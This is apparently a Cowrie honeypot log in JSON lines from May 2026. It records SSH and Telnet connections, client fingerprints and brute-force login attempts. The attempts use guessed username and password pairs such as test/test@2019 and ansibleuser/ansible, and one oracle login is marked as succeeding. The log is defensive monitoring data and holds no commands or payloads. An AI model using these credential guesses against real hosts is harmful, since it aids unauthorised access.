{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:55.470634Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":42732,"dst_ip":"10.17.0.5","dst_port":22,"session":"6434c2dfc190","protocol":"ssh","message":"New connection: 103.129.221.202:42732 (10.17.0.5:22) [session: 6434c2dfc190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:55.706042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:55.711059Z","src_ip":"103.129.221.202","session":"6434c2dfc190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:55.958372Z","src_ip":"103.129.221.202","session":"6434c2dfc190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:57.046119Z","src_ip":"103.129.221.202","session":"6434c2dfc190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:58.292036Z","src_ip":"103.129.221.202","session":"6434c2dfc190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":43336,"dst_ip":"10.17.0.5","dst_port":22,"session":"47c19740941f","protocol":"ssh","message":"New connection: 103.129.221.202:43336 (10.17.0.5:22) [session: 47c19740941f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:58.567473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:58.572318Z","src_ip":"103.129.221.202","session":"47c19740941f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:58.815767Z","src_ip":"103.129.221.202","session":"47c19740941f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:59.819988Z","src_ip":"103.129.221.202","session":"47c19740941f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:01:00.077080Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:01:00.086047Z","src_ip":"103.129.221.202","session":"47c19740941f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.378161907196045,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:01:08.802824Z","src_ip":"185.53.58.141","session":"f796cc33f190","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":11726,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dc643b2a383","protocol":"ssh","message":"New connection: 2.57.121.25:11726 (10.17.0.5:22) [session: 2dc643b2a383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:01:54.780956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:01:54.785579Z","src_ip":"2.57.121.25","session":"2dc643b2a383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:01:55.019621Z","src_ip":"2.57.121.25","session":"2dc643b2a383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"alligator","message":"login attempt [user/alligator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:01:55.506819Z","src_ip":"2.57.121.25","session":"2dc643b2a383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"allegra","message":"login attempt [user/allegra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:01:56.613075Z","src_ip":"2.57.121.25","session":"2dc643b2a383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"alanna","message":"login attempt [user/alanna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:01:57.718815Z","src_ip":"2.57.121.25","session":"2dc643b2a383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"academy","message":"login attempt [user/academy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:01:58.825211Z","src_ip":"2.57.121.25","session":"2dc643b2a383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"939393","message":"login attempt [user/939393] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:01:59.934329Z","src_ip":"2.57.121.25","session":"2dc643b2a383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:01.041480Z","src_ip":"2.57.121.25","session":"2dc643b2a383","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":40374,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4f4364bad5f","protocol":"ssh","message":"New connection: 152.32.171.213:40374 (10.17.0.5:22) [session: c4f4364bad5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:11.971655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:11.976345Z","src_ip":"152.32.171.213","session":"c4f4364bad5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:12.197842Z","src_ip":"152.32.171.213","session":"c4f4364bad5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@2019","message":"login attempt [test/test@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:13.123593Z","src_ip":"152.32.171.213","session":"c4f4364bad5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:14.349744Z","src_ip":"152.32.171.213","session":"c4f4364bad5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":58780,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b84f19afe5b","protocol":"ssh","message":"New connection: 103.129.221.202:58780 (10.17.0.5:22) [session: 9b84f19afe5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:24.175834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:24.182241Z","src_ip":"103.129.221.202","session":"9b84f19afe5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:24.428365Z","src_ip":"103.129.221.202","session":"9b84f19afe5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"truc","message":"login attempt [test/truc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:25.496498Z","src_ip":"103.129.221.202","session":"9b84f19afe5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:26.744819Z","src_ip":"103.129.221.202","session":"9b84f19afe5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":27405,"dst_ip":"159.203.135.109","dst_port":22,"session":"a191830900c4","protocol":"ssh","message":"New connection: 193.24.211.95:27405 (159.203.135.109:22) [session: a191830900c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:54.633531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:54.652293Z","src_ip":"193.24.211.95","session":"a191830900c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:54.828475Z","src_ip":"193.24.211.95","session":"a191830900c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passwd","message":"login attempt [user/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:55.456116Z","src_ip":"193.24.211.95","session":"a191830900c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:02:56.566760Z","src_ip":"193.24.211.95","session":"a191830900c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.20.254.47","src_port":38770,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aad908c71df","protocol":"ssh","message":"New connection: 157.20.254.47:38770 (10.17.0.5:22) [session: 7aad908c71df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:04.969013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:04.974580Z","src_ip":"157.20.254.47","session":"7aad908c71df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:05.219316Z","src_ip":"157.20.254.47","session":"7aad908c71df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansibleuser","password":"ansible","message":"login attempt [ansibleuser/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:06.261311Z","src_ip":"157.20.254.47","session":"7aad908c71df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:07.520913Z","src_ip":"157.20.254.47","session":"7aad908c71df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":50258,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe6f06ea4ab","protocol":"telnet","message":"New connection: 185.53.58.141:50258 (10.17.0.5:23) [session: ffe6f06ea4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:17.790320Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":46124,"dst_ip":"10.17.0.5","dst_port":22,"session":"70c8f5eec099","protocol":"ssh","message":"New connection: 103.13.206.100:46124 (10.17.0.5:22) [session: 70c8f5eec099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:26.369520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:26.373483Z","src_ip":"103.13.206.100","session":"70c8f5eec099","protocol":"ssh"}
